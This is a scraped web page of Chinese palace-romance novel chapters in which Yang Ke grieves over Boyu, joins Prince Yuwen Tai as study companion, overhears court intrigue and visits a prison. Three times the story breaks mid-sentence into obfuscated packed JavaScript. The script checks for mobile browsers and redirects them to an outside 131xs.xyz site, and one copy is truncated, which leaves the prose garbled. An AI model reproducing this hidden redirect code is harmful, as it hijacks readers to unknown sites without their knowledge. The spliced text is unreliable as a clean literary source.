伯喻端然坐于案前,一身雪色官服,尘埃不染。但杨柯旋即发现,他隐于案下的右手裹着暗灰绸带,绸带底下隐约透出斑驳血痕。 杨柯眉间一紧,他何时受的伤?难道赛罕再度设袭?她心中忧思方一升起,但很快便被苦涩压制下去——自己与他如今有何干系? 宫灯的光透过垂帘打了进来,杨柯看见自己的影子很听话地朝他伸去,却在触及他衣摆前,被烛火搅成破碎的灰影。原来他们已经遥远到连影子都靠近不了。念及此,杨柯心中便愈发落寞。 混混沌沌间,已经过了一个时辰。宴席快要结束,众人逐渐散去,只剩下零星几人还留在席上。 “姑娘,少喝些吧。”一旁的青桃见杨柯一个劲儿地往嘴里灌酒,忍不住开口相劝。 “没事,我口渴。”杨柯手里的酒杯已然见底。此刻,她只想多饮一些酒,让沉重的思绪飘飞,这样便能叫风吹走。 “可你已经喝了六壶了。”青桃为难道,“再向宫伶要,就不像话了。” 杨柯忽然被呛住,将酒杯掷于案几上,薄怒道:“怎么了,如今我想多喝些酒,也成了碍事的?” 坐于一旁的章可馨看着她们,仅仅五尺之隔的距离,方才的对话她也听了个完全。 她半惊异半嘲弄道:“杨柯,这酒虽是突厥进贡的佳品,但终归是烈酒,再怎么香也禁不住这样喝吧。”说完又朝着青桃吩咐,“等会记得叫几个小内监扛着你们姑娘回去,不出一刻,她便连坐都坐不住了。” “要你管?”杨柯对她打了个醉嗝,脸上已感觉发烫。 章可馨忙用手帕掩住嘴鼻,满眼的嫌弃:“瞧你这幅醉鬼样子!快回你的凌薇苑去,别在这丢人。” “你也不许我喝?”杨柯伸出手指着章可馨,“人人都来拦我!我偏要喝!”说完便扑向对面,章可馨陡然一惊,赶紧唤人拦住杨柯。可杨柯学过武功,一喝了酒便不受控制,哪里是几个宫人能够拦住的,登时章可馨的酒壶便到了她手中。 杨柯单膝撑着案几,一只手死死攥住壶嘴,俯身像个街坊醉鬼一般向章可馨喷着酒气:“来啊,继续拦!章大小姐不是神气得很么?” 章可馨皱着眉头乜了她一眼,厌恶中又带着怜悯:“杨柯,一个老七就让你如此颓废,枉费当初我高看你一眼。” 杨柯被她的话顿时僵在原地,手中的酒杯尤泛香味,却失去了滋味。 章可馨的眼中露出熟悉的嘲讽:“我知道伯喻为你倾心一时,可一时终究是一时,易云舒回来了,你的甜蜜日子也就结束了。” 杨柯体内的酒气恍若一股毒火,这句话就像随手投进火堆的一颗弹药,顷刻间火星四溅。 “你在胡说八道些什么?”火舌舔舐着杨柯的心底,瘙痒难耐,又灼热不已。 章可馨目光直逼:“我在告诉你,你有多么可怜。给老七当个取暖炉,如今被抛弃了,却要将自己置于醉生梦死的地步。” 杨柯怒得将酒杯猛然掷于案上,那青花酒壶瞬间碾成了碎片。 章可馨惊得垂眸,再抬眼时,眼中已是震惊和害怕:“你……你敢恐吓我?” 杨柯眼里的愤怒逐渐熄灭,因为她心里清楚,章可馨说得一点儿没错。 她重又立起身,摇摇晃晃地走回去,一屁股跌坐在垫子上,却再也说不话来。 章可馨一眼不眨地注视着她的一举一动,既有后怕,又有惊诧。见杨柯瘫坐在席上,才转过头去。 杨柯垂着头,木然地望着案几上的酒,听得身旁传来一句轻喟:“我同你说这些,是不希望你被一个男人击垮。” 章可馨的话着实点醒了杨柯,但她的话也说得夸张了些,估摸着是听了宫中的传言。 皇宫里人多嘴杂,越传越邪乎,说她几度自戕于房内,又是悬梁自尽,又是痛饮鸩酒,就差没去承影湖投河殉情了。杨柯自己听了也觉荒唐,她若当真有九条命,何必困在朱墙之内,又何苦为了伯喻蹉跎受罪,在宫外潇洒度日不好么?虽然她也曾像个怨女似的后悔过,可旋即她又明白,自己来的这一遭,虽受了罪,但也尝得了不少甜。即便是一场空欢喜,那也是欢喜过的。 当然,这些时日,杨柯确实把自己关在房内,就连乐白和昌吉前来,也不甚理会。宫中流言纷飞,青桃和杜衡每日看杨柯的眼神就像看那承影湖里的丹顶鹤,生怕哪句话惊到了她,又怕一个不留神她便消失不见。 但她避不见人,并非消沉颓唐,而是伏案疾书。她要写的,是能让宇文泰青眼想看的政论文章。 今日就是重新调配伴读的日子了,杨柯抱齐整理好的文章赶往武华殿。敲开武华殿的大门,还是眼熟的小顺子领着她进去。但还没进内殿,便远远地听见宇文泰的声音。 “无可奉告?这就是你们审问的结果?”他的声音威严带怒,回荡在宽阔的大殿内,恍惚间竟有几分帝王威仪。 小顺子转头对她嘱咐道:“杨大人,殿下这会子正忙着,请在此处稍等片刻。” 杨柯明白地点点头:“无事,等他气消了,我再进去。” 小顺子笑道:“那倒不必,殿下见了您,气就消了。” 平日里这小顺子倒也嘴稳,今日怎么说话没着没落儿的,杨柯被他搅得尴尬,只道:“公公这是哪里来的话?” 殿中走出几个蓝衣官员,皆蔫头蔫脑,既有涉足后宫不便张望的缘故,但更多是因方才之事垂头丧气,任由着公公领着走出宫门。 小顺子一副笑脸向他们福身行礼,等大臣们走后,才对杨柯道:“奴才嘴碎,杨姑娘就当我是说浑话罢。”说完,弓着身子引她入殿。 殿内灯火通明,宇文泰面向窗外,负手而立,玄色长袍在光影中如墨般深沉。先前议事的官员早已散去,此刻殿内气压甚低。 小顺子轻声探道:“殿下,杨姑娘来了。” 宇文泰惊讶回头,见杨柯立于殿中,紧绷的下颌松了松,眼底的厉色也褪了几分:“你怎么来了?” 杨柯挺直脊背,双手捧上怀中的书札,利索道:“明日御书院重调伴读,此次前来,是想恳请殿下允我成为您的伴读。” 宇文泰眼中半是惊讶,半是狐疑,看了一眼小顺子,目光又落回到杨柯身上:“给我个理由。” 她缓缓道:“殿下麾下之臣大多是武官出身,缺少文官,而我擅长诗词歌赋,刚好能弥补空缺。” 宇文泰轻笑一声:“话说得没错,但你可知道为何我这从不招文人?” 杨柯接道:“因为殿下瞧不起酸腐书生。” “你倒是聪明,但还未点到关键。”宇文泰的眼神逐渐冷硬,“读书人总免不了妇人之仁,可我兵刑二部要的是铁石心肠、雷厉风行之辈。你说说看,我要你来做甚?” 杨柯道:“殿下倒可宽心,实际上臣自知学识尚浅,连真正的文官都不可及。再者,我无心干涉政务,更不敢以浅薄之见妄议国事。我虽不敢自诩才华横溢,但在修缮书文、起草文章方面,自问还是有所长进的。这些工作虽较之刑审看似琐碎,但对于殿下而言,或许能省去一些不必要的烦恼。” 宇文泰面色沉静:“空说无凭,你要如何让我信服?” 杨柯将书札递给小顺子,后者双手捧至案前。宇文泰接过纸张,垂眸凝神翻看起来。 杨柯轻声道:“这些文章,皆是我平日所学所思,虽不及名家手笔,却也是日夜钻研所得,还望殿下指正。” 话音落下,殿内便一片死寂,唯有纸张摩擦声沙沙作响。 足足过了一炷香的功夫,宇文泰才从纸上抬起头来,漆黑瞳仁露出审视目光,直直刺了过来。杨柯喉头发紧,心里发毛。 “平日见你吊儿郎当,上课也不认真听,写出来的东西……” 接下来必定没有什么好话了,杨柯心中的一口气泄了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨柯点点头,从怀里掏出个金钗,塞到小顺子手里:“多谢公公相助,这是我的一点儿心意,望公公笑纳。” 他愣了愣,语气中露出一丝为难:“杨姑娘,如今你也算殿下的人了,日后这样的事,还得是奴才来做。” 杨柯道:“公公说的是,我初来乍到,还得仰仗公公多加提点。” 小顺子点点头,心安理得地收下:“姑娘客气!往后有什么难处,尽管跟奴才提。” 几番折腾,终于泡好了茶,滚烫的茶水隔着陶瓷传来刺烫,杨柯压着不耐,一步一步稳稳行去,终于端到了宇文泰面前。 他拿起茶杯,悠然抿了一口:“学得倒挺快。” 杨柯笑道:“殿下吩咐的,能不快吗?” 宇文泰抬眼看了她一眼,轻叹道:“要是你入宫时,就这么跟我说话,咱俩吵的架也能少些。” 杨柯心里一咯噔,听他这话,怎么有股幽怨的意味?她干笑一声:“殿下这是哪里的话,我向来敬重殿下,从来没对殿下说过一个‘不’字。” 宇文泰听言,浓眉一挑,冷哼一声:“是么?我怎么觉得只有今日才算?” 她强忍住心中不耐,等到明日范老头宣布名单后,再同他算账。于是拿出毕生的喜悦,堆笑道:“不止今天,以后都会如此。” 宇文泰仿佛看穿了她的心思,缓缓将茶杯置于案上:“杨柯,忘了告诉你,即便是范夫子公布了名单,我也有反悔的权力。” 杨柯惊得跳起:“你不早说!”话一出口又自觉表露太过明显,脸色一转,忙赔笑找补道,“殿下为人一向守信,既然应下了约,怎会出尔反尔呢?” 宇文泰斜睨着她:“我何时说过要守信了?” 杨柯急得跺脚:“明明都喝了我泡的茶,哪有喝过谢茶还反悔的规矩!” 宇文泰悠悠然道:“喝了茶便要收你,谁定的规矩?” “你!”杨柯气得攥拳,她心里清楚,宇文泰分明吃定了她拿自己没辙,更无奈的是,她果真对他毫无办法。 见杨柯像只斗败的鹌鹑耷拉着肩,宇文泰终于畅怀大笑:“好了,不逗你了。既然答应了你,本王说到做到。” 得了他这句,杨柯喜出望外,生怕他再反悔,忙说道:“好,我这就去御书院,让范老头定下来!” 还没等他反应过来,便转身跑了出去。 待杨柯走后,小顺子笑着道:“殿下,这杨姑娘办起事来还真是风风火火。” 宇文泰收敛了笑意,正色道:“所幸她主动转圜,不然老七这事不知要折磨她到什么时候。” 47.调任 今日的课上,范夫子当着众人宣读了今年重新分配的伴读,除了杨柯和云昌吉调换,还有几名出宫的才人女使之外,其余皆保持不变。 下课后,杨柯正走在路上,身后传来一声大叫:“杨柯!” 她转头一看,章可馨提着衣裙,快步流星地向自己奔来。 “好个白眼狼!那日我好心提醒你,谁成想你竟恩将仇报,跑到二哥身边去了!” 杨柯淡淡道:“章可馨,没人要同你抢宇文泰。”说完便继续前行。 章可馨追了上去,又质问道:“那你去当他的伴读做什么?” 杨柯不耐回答:“我自有如此选择的道理,为何要向你报告?” 她怒火更盛:“你还说不跟我抢?你做事若光明磊落,说出理由又有什么难的?” 看着她生气的样子,杨柯只感觉命运弄人,犹豫了片刻,刚想开口向她讲出实情,只听见身后响起宇文泰的声音:“可馨,杨柯是我主动向范夫子要的人。” 章可馨脸上瞬间黯然无光:“二哥,你不是向来和她不对付吗?” 杨柯转身一看,宇文泰身边跟着乌泱泱的一群人,看他们的装束应当是刚刚下朝。饶是再多的人,她也总能一眼发现伯喻的身影。如今他仍是风拂玉树,但脸上却清癯了不少,不知道又熬过了多少无眠的夜晚,他总是这样亏待自己的身体。 “杨柯是伴读中写文章最出色的。”随着宇文泰渐渐走近,杨柯才察觉到他的目光一直放在自己身上,不自觉地心虚低下了头,“我府中缺少擅长文书之人,昌吉虽有一身武功,但舞文弄墨实在外行,更何况近来事务愈发繁杂,我需要个得力助手帮忙。” 章可馨不懈追问道:“那为何是她?我不行吗?” 宇文泰柔声道:“你在庆宁身边呆得好好的,再说了,你的身份也不便来我这里。” 章大小姐无奈,只好跺脚撒气。 宇文泰身旁一名男子笑道:“几年不见,二小姐还是这么任性。”这人约有二十七八年纪,雄躯阔面,双目直竖,看着就像是个武将。 章可馨对着那男子半是蛮横、半是撒娇:“王远,你升了右将军,就敢来点评本小姐了?” 原来他是新晋的右将军王远,本朝将军品阶中,最高的便是大将军章满,位列三公,其次便是乐白的父亲——骠骑将军乐青山,昌吉的父亲——卫将军云镇天,再下一级便是前后左右四方将军,而王远位列右将军。 王远讪笑道:“不敢,我可不敢。” “哼,你倒是识趣,要是有我大哥在,看你还敢不敢打趣我!”章可馨的大哥章擎在三年前便封了前将军的封号,为四方将军之首,章满也将军中虎符交予了他,统领西北百万大军,可以说,章擎才是朝中实质上的大将军。 宇文泰身侧的兵部尚书白韬开口道:“若章姑娘不满意,不如去七皇子那里。七殿下,微臣没记错的话,今年您并未招纳伴读?”话音刚落,众人的目光都聚集到伯喻身上。 “白大人莫要开我的玩笑了。我连夫子的课都尚且无暇顾及,再招纳伴读,岂不是误人前程?”杨柯眼神微微一动,半月未见,他的声音听来恍若隔世。 宇文泰闻言笑道:“连父皇都为七弟这事头疼。七弟向来凡事亲力亲为,从不假手于人。” 白韬眼带笑意,目光落于杨柯身上:“那七殿下倒不如像二殿下那样找个杨姑娘这般的伴读,帮着处理文书,也能省去不少麻烦。”虽是第一次相见,杨柯却在他的脸上看到了旧人的熟悉之感。 王远朗声道:“这倒是个好主意!今日朝上,陛下还在夸赞杨姑娘才华过人,二殿下招人有方。” 杨柯忍不住探了一眼伯喻,他的神色淡淡,眼中却有一丝凉意。 白韬捋着半白胡须,敞怀大笑,忽又想起来什么:“我怎么记得,前段时日老范头还同我聊起,七殿下想招纳一名女子做伴读,那女子好像便是……” 杨柯心下一惊,还有这样的事?转念又一苦,约莫是易云舒吧。 伯喻突然截道:“白大人兴许是记错了,那日我向范夫子所托,其实是为十弟,他年纪尚小,不知如何操作,便托我去找范夫子。” 白韬若有所思:“嗯?” 王远煞有兴致地打听:“白大人,你方才说那女子是何方神圣啊?” 白韬拧眉:“瞧我这脑子,一下子想不起来了。” 这二人鲜少接触后宫之事,对于宫中流言也不甚知晓,因此聊得风生水起,丝毫未察觉到此时氛围已有些尴尬。 章可馨的眼神流连在杨柯和伯喻之间,轻飘飘道:“白伯伯,远哥,你们把话说得再好听,也比不上郎情妾意来的实在。” 王远愣了愣,问道:“馨儿的意思是,七殿下早已心有所属?” 章可馨笑了笑:“这事儿我可不知道,远哥得问杨姑娘。” 此话一出,纵使他二人不知背后缘由,也能明白个大概,气氛顿时微妙了起来。众人意味深长地看着杨柯和伯喻二人,又纷纷瞥向宇文泰。 宇文泰拧眉凝了章可馨一眼,随即想要开口,却被杨柯打断:“可馨,你这话着实折煞我了。伯喻与我只是君子之交,我哪里知道他的个人私事?况且,伴读的职责是为殿下排忧解难,怎能同儿女情长相提并论,岂不是耽误国家大事?” 白韬笑着接过她的话茬:“杨姑娘果然女中豪杰,志向高远,不拘于俗,实为殿下及吾辈之良佐。” 杨柯心里发奇,这白韬怎么带着点儿爹爹那般张口便是天花乱坠的调调?虽说是解围,倒也不必如此吹捧。她笑着道:“白大人谬赞了,杨柯不过一介女流,尚不足以辅弼国事。”又看向宇文泰,“不过殿下所托,我定会尽心竭力。” 章可馨忿忿道:“哼,但愿能如你所言,不负所托。” 伯喻此时却开口了:“白大人,王将军,以我和阿柯的交往来看,二哥确实得了一位得力助手。” 白韬与身旁的王远目光交汇,笑道:“既然七殿下都这么说了,二殿下福气不小啊。” 杨柯皱了皱眉,这话怎么听着怪怪的? 伯喻作揖道:“各位,我还有公务缠身,先行一步,改日再同各位畅叙。” 众人点头,伯喻提步而去。其余也纷纷移步,四散离去。 这时,杨柯才敢好好看看他的样子,他的身形已经瘦得好似被削去了一半。仅仅才过一月,怎会落的如此消瘦? 看着他越走越远,一束白羽逐渐凝成一颗米粒般的大小,接着消失不见。 “杨柯,”宇文泰的声音在背后响起,登时将她从愁绪中拉了出来,“随我回武华殿。” 杨柯赶忙开口应和道:“哦……好。” 章可馨大声道:“我也要去!” 虽不禁汗颜,宇文泰无奈之下还是答应了带她一同回去。 回了武华殿,宇文泰带着白大人、王远等心腹进了内殿,将杨柯和章可馨支使去了偏殿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488457|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 若要了解前朝之事,偷听他们的谈话自然是重中之重,杨柯吩咐了几个宫女帮着照看炉子,趁章可馨不注意的时候偷偷溜了出去。 她端着一壶清茶,走到了内殿的门廊前,装作倒茶,耳朵却竖起。 里头的王远开口道:“朝上多人弹劾工部官员,我虽上朝次数不多,倒也从未见过这样的阵仗。” 宇文泰冷冷道:“一群墙头草罢了。” 白韬抿了一口茶:“这些人选择站边咱们的殿下,多半还是为了抱章家的大腿。不过七皇子能够崛起,易家这么多年出了不少力,也算是成功扶持了一位皇子。” 王远思索了一瞬,道:“我倒有个疑问,不知殿下和诸位同仁是否与我一样,端王被废那日,易大人如何得知陛下看见了工部勾兑的明细?陛下又是从哪里拿到的账本?” 白韬道:“还能有谁?当然是宣王了。” 王远疑惑道:“白大人为何如此笃定?” 白韬娓娓道来:“宣王向来是六面玲珑两面刺。户部虽归宣王管辖,但到底是陛下的国库,陛下虽将大权放给了他,但户部的每一分钱,陛下都会过问。七皇子所做,是揣度了皇上的意思,来了个顺水推舟,既协助我们把宫家铲除,又将易家推向了风口浪尖之上,真可谓是一石三鸟之计。” 王远继续问道:“那易大人又是如何得知陛下这边的动向?” 宇文泰把玩着手里的镇纸麒麟,懒懒道:“他无需知道,不过是先发制人而已。” 王远愣了愣,饶是没弄懂:“卑职愚钝,请殿下明示。” “易家与宫家通过宇文拓暗中勾结,吏部卖官泄露的风声一出,易家便可闻声自保。账本出不出现在父皇面前,只是时间问题。易望林先一步主动请辞,不仅为来日复出留得机会,保留了与父皇的君臣情分,也能显得宇文拓更为可恶。” 王远感叹道:“易望林真是个老狐狸,咱们若想扳倒他,绝非一日之功。” 杨柯在外听得入神,忽然肩上被拍,她浑身一震,手里的茶壶差点儿掉到了地上。 转头一看,原来是小顺子,她旋即开口道:“公公,茶已经泡好了。” 小顺子并未看她,点头道:“辛苦杨姑娘了,让奴才把茶端进去给各位爷吧。” 杨柯应了一声,见他提步进去,自己也不好再呆在这里,免得引人怀疑,于是退了下去。 过了一炷香的功夫,众人走出了武华殿。 白韬正走着,忽然猛地拍向脑袋,一旁的王远惊道:“白大人,你这是何故?” 白韬道:“我记起来了,那日老范头口中的女子,就是杨姑娘!” 王远笑了笑:“早就猜到了。是杨姑娘又如何?十皇子没要成,还不是跑到咱们二皇子这儿来了。” 白韬摇摇头:“远弟,你尚且不知,那日老范头可不是这么说的。” 王远疑惑道:“哦?其中有何蹊跷?” 白韬道:“宣王多年未招伴读,那日却特地登临御书院,向他点明要人,老范头一时为难,杨姑娘已归到乐白郡主身边,哪里有平白调走的道理?而且宣王向来处事圆融,但那次却一意孤行,若是为着十皇子倒也不必如此。老范头自然奇怪了,当时便询问了原因,你猜猜七皇子说了什么?” 王远的好奇心已被吊得老高:“说了什么?” 白韬叹了一声:“我心匪石,不可转也。” 他二人视线交汇,顿时明白了一切。 48.告别 自从调配以后,杨柯搬出了咸毓宫,住进了武华殿东侧的观云阁。她回到房内,思绪被方才的所见所闻搅成一团,她试图捋出个头绪,但无奈越想越乱,在房内坐也坐不住,于是便走了出去。 听了宇文泰与白韬、王远的密谈,杨柯才发现,自己不仅对前朝党争知之甚少,更将人心叵测看得太过简单。她本以为宇文泰安排江植与苏明义二人仅仅是为了整治军粮,但没想到背后更大的目的是铲除宇文拓一族的势力。他们不是情同亲兄弟么?那日在长宁殿前遇到宇文泰,他落寞的样子不像是假的,可他害了宇文拓也是真的。 更让她心惊的是,如今易家落难的背后,似乎还藏着伯喻的影子。伯喻曾受易家提携,如今却为皇帝做事。难道他选择易云舒,正是出于愧疚?杨柯想不明白,但她只觉得易家与伯喻的关系绝没有表面上看起来如此简单。 走着走着便到了承影湖边。月亮落在湖心,冷冷的湖水浸透着溶溶的银盘,湿冷的触感仿佛也渗进了心里。 一阵不疾不徐的脚步声从背后传来,杨柯的脑海里瞬间跳进了一个名字,可是极度的喜悦掠去,唯独剩下极度的苦涩。她摇头叹道:“我真是入了魔,这个时候他哪里会来,一定还是幻觉。” “阿柯。”那如白羽般轻盈的声音仿佛有千斤之重,沉沉地砸向她的心。 杨柯鼓起勇气回头,脑子里的理智在看到他的那一刻瞬间荡然无存。 月光将他的脸笼在薄雾中,好似海市蜃楼。 杨柯站起身,启唇呢喃道:“伯喻,你怎么来了?” “你最近可好?”他的声音依旧如常。 杨柯忍不住走上前去,那晚翠微殿的画面却突然窜进了脑海,刺痛又使她不自觉地止住了脚步。 伯喻的脸上闪过一丝痛苦,快到让杨柯以为自己眼花。 “我……还好。”她一出声,喉间便不争气地发酸发涩。 伯喻却神色舒然,目光温柔,仿佛两人只是许久未见的老友。 杨柯见他这幅模样,内心更加酸楚,但却已经麻木,脸上只能扯出一个微笑来:“你和云舒过得如何?” 伯喻脸上浮起淡笑:“还像以前一样。” 杨柯想要扯起嘴角回应些什么,却已然僵住了。 伯喻望着池中道:“都已经入冬了,荷花竟然还在开着。” 杨柯喃喃道:“你用玄冰刃将我拦住那晚,也是满池的荷花。” 一只水鸟忽然从水上扑腾开去,搅翻了整个湖面。 伯喻沉默了下去,良久后才开口:“阿柯,我们的缘分来的不是时候。”月光爬进他眼底的阴翳,照亮他心底难以言喻的思绪。 “那现在是什么时候?”杨柯不禁苦笑,双目凝视着他,“是不是因为我挡住了你走向皇位的路?” “阿柯,我别无选择。”伯喻答得太快,快得像早有准备。 他的毫不犹豫让杨柯僵在原地,许久后,才对他欠身行礼:“多谢宣王殿下提醒。今晚是我唐突了。”转身时,月白裙裾留下缕缕残香,“愿殿下……得偿所愿。” 寒风吹散了她的尾音,只余荷花还在薄冰的湖面摇晃,恍若那个盛夏初遇的夜晚。 月光照在伯喻的身上,身影被拉得长长的。 “满目山河空念远,不如怜取眼前人。”黑暗中,一道人影走出,“伯喻,何苦执着于从前事?莫要等到千帆过尽,才发现谁都不是她。” 伯喻沉声道:“一生得此一人,已经足够。何必在乎以后?” “为何不在乎?两个人若是相爱,岂能忍受分离?”公孙瑶低叹一声,“阿柯也是,她竟轻易信了你编的谎言。” 伯喻纠正道:“是我把她推开的,怪不得她。她性子至纯,若非逼入绝境,不会轻易放手。” 公孙的语气多了一分愠怒:“看来你也知道。”旋即又一叹,“可即便如此,她对你还是有情。” 伯喻苦笑道:“有情能如何?” “有情能使饮水饱,她很爱你,难道这不足以让你坚定吗?” 伯喻沉吟不语,良久后才道:“我们注定不同路。” 他缓缓阖眸,再睁开眼时,淡漠底下藏着浓稠的悲伤:“阿瑶,我从未如此珍爱一个人,也正因为这份珍爱,我必须要放手。阿柯生来自由,她不想、也不能卷进这场争斗。我若多贪恋她一刻,她就离危险更近一分。世人皆知‘一片花飞减却春’的道理,但往往要到花凋零的时候,才会意识到春天已经离去。我不能眼看着这段感情走到花瓣落尽的那一步。若是这样,我和她,还不如不见。” “你们如此契合,轻易立下论断岂不是太可惜?”公孙望着茕茕孑立的伯喻,不禁长叹一口气,“伯喻,我曾经和你一样,以为人生足够漫长,放弃一次,还有机会弥补。可是谁知道,光景不待人,须臾发成丝。” 柳条在寒风中微微轻抖,像是情人颤动的心弦。公孙见伯喻沉默不语,只好喟叹道:“若你执意要放弃,那便如此吧。” 日子已经到了深冬,光秃秃的宫道上,连一片树叶的凋零都难掩踪迹。 杨柯恍恍惚惚地在外面游荡,她走到了景泰宫外,望见了里面的梨花树,去了御花园,最终来到了观星阁。 夜里无风,一片寂静,只有檐角的风铃仍在叮当作响。 “猫儿,连你也走了。”杨柯望着黑漆漆的屋子,低声喃喃自语,“他答应过我的,要每月十五来这里找你,你不在了,他也不会再来了。” 她听见自己的回声在黑暗里逐渐逝去,只剩下无尽的沉默,忽而感到一阵心慌。于是登上二楼,站在他们曾经亲吻的地方,她轻轻摩挲手心,月蚀之夜和他十指相扣的触感似乎还未消褪,天边的繁星也还烙印着他眼里的温柔——那是她心心念念揣在怀里、捧在手心的宝贝。 可惜她守不住,只好还给他了。 到了今晚,她还剩下什么呢?唯有一颗空空荡荡的心,傻傻地等在原地。可今晚过后,这份执着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488458|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻,也被他轻轻戳碎。 四更的梆子声终于敲响,提醒着昨夜的离去。曙光透进了黑沉沉的天空,带来了一丝明亮,也驱散了漫漫长夜发酵后的不舍和隐痛。 杨柯疲惫而清醒地走回了武华殿,刚踏进大门,望见一人立于房檐下。 烛光照着宇文泰的脸,恍若隔世。 他平静地望着杨柯,看着她一步一步向自己走近,末了才开口问道:“阿柯,在外面冷不冷?” 短短八字,竟将她强忍住的泪水哄了出来。 杨柯发现,在宇文泰面前,自己已经失去了最后的体面,也失去了最后的理智。 “望殿下原谅,我没法……”哽咽已让她说不出完整的句子。 宇文泰缓缓靠近,站定在她面前,低头静静地看着她。 杨柯不敢接住他的灼灼目光,只好看向别处,但眼泪却滑满了脸庞。 “我知道。从你搬来观云阁起,眼睛就没有不肿过。” 杨柯垂下了眼,宇文泰抬手拂去她脸上的泪水:“放心,你不是一个人在熬。”他的气息仿佛雪中送来的暖风,融化了她的痛苦。 杨柯真诚道:“谢谢你。”说完便自嘲地笑了起来,“这句话好像对你说了无数次。” 宇文泰见她破涕为笑,脸色随之放柔,背光里他的笑容格外温暖:“还记得在瑞麟殿里欠我的人情吗?” 她点点头。 宇文泰俯下身子,平视着她的眼睛:“振作起来,我要看到刚入宫时同我作对的杨柯,不是现在这个被打倒的你。” 此刻的他仿佛变了一个人,杨柯心中还有犹豫,但看着他坚定的眼神,也不由自主地应道:“好!” 第二日,才刚下完课,杨柯便被小顺子唤到了武华殿里。 宇文泰已负手站在大门前,他的脸上已经恢复了平日里的倨傲和疏离,好像昨夜的温情已经随着薄雾一同被阳光拨散了,“跟我去一趟大理寺,你帮着记录。” 杨柯点头答应,心里还有些振奋,这算是他第一次正式带着自己接触朝政。跟在宇文泰身后,杨柯才头一回体会到什么叫做自由。去往大理寺的一路上畅通无阻,所遇者见了他们皆躬身行礼,哪里像她一个人时,还没走出几步路,便要被拦下来问东问西。 二人下了马车,来到了大理寺门前。杨柯小跑两步凑到宇文泰身侧,脆声道:“殿下,往后办案可否多带着我来?” 宇文泰斜睨了她一眼,眸中带笑:“希望等会儿你还这样想。” 难道此地是什么阎罗幽府?杨柯正奇怪着,面前朱漆大门轰然洞开,腐臭气息裹着寒意铺面而来。 杨柯的笑容僵在脸上。一阵狂风掠过,衙门外的枯井突然传来沉闷回响,好似有人在井底叩击棺木。西侧的墙根斜插着断戟残戈,锈蚀的刃口上还挂着碎布条,在风中发出呜咽般的声响。 宇文泰见她一言不发,索性向她解释今日之来意:“我们要去审问的,是滁州桐丘城的县令马冀。” 49.马冀 宇文泰大步入内,忽然一阵阴风吹过,杨柯浑身起了起皮疙瘩,她赶紧小跑着追到宇文泰身边,好奇问道:“马冀犯了什么罪?” “上月桐丘堤坝崩毁,洪水淹没了半个城。去年滁州平阳县发了洪灾,彼时朝廷拨了一百万两给桐丘县加固堤坝,结果马冀吞了一半,修堤之时,又偷工减料,到今日才终于暴露。” 杨柯倒抽一口冷气,又问道:“既然证据确凿,那他还能狡辩什么?” 宇文泰淡淡道:“他并未狡辩。” “那为何我们还要审问?” 他的语气意味深长:“正是招供得太快,有些不同寻常。” 二人行至牢狱大门前,身披锁子甲的狱卒慌忙起身,拱手行礼:“殿下!” “开牢门。”宇文泰目光扫过朱漆大门,门钉上暗红的印迹不知是锈迹还是血迹。 “是!”那狱卒应了一声,转身从腰间摸出一串沉甸甸的铁钥匙,将其中一柄插进铜锁,伴随着齿轮转动的“咔嗒”声,厚重的木门缓缓开启。 狱卒端起一盏煤灯,弓腰回身道:“殿下,姑娘,脚下小心,随我来。” 杨柯朝里望去,一道极窄的阶梯直通地下,墙壁上的烛光忽明忽暗,照得狭窄的甬道深不见底。脚方一伸进去,一股混杂着血腥的潮湿霉味扑鼻而来。 终于走到了地底,视线并未开阔多少,而是进入了一间昏暗狭窄的中厅,穿过中厅,便能望见里面的一间间牢房。除了通往牢房的那一面,其余三面全是泥灰的墙壁,只有一扇狭长的窗开在房顶下方,透进来一缕微弱的光线,照亮了墙壁上泛黑的污渍血痕。 脚底坑坑洼洼,杨柯刚低头想要细看,忽的窜出一只老鼠,从她脚跟边上飞跑过去,她顿时吓得踉跄后退,惊出了一身冷汗。 “当心点儿。”宇文泰懒懒的声音响起,杨柯循声望去,昏黑油灯下,他眼眸亮得像蛰伏丛林的野兽瞳孔。 “殿下。”两名狱卒迎了出来,见到宇文泰,纷纷抱拳行礼。在他们身后的墙壁上,空挂着镣铐和链索,上面已经生了锈。其中一副脚镣的铁圈里还吊着两根灰白色的骨头,大概是人的腿骨。 “马冀在哪儿?”宇文泰问道。 其中一个狱卒答道:“正关在里面呢。” “押他出来,我要审审他。” 须臾片刻,那名狱卒便押着一牢犯走了出来,进了一间黑屋里去。宇文泰提步往前,见杨柯还愣在原地,调侃道:“吓傻了?” 杨柯正仔细端详着四周,听他声音才反应过来,于是赶忙跟了上去。 宇文泰转头对她嘱咐道:“等会他说什么,你便记什么。” “好。”杨柯点头应和。 进了黑屋,一股刺鼻的腐臭气息弥漫开来。狱卒领着杨柯坐在一旁,她拿出纸笔,等待着宇文泰接着的动作。 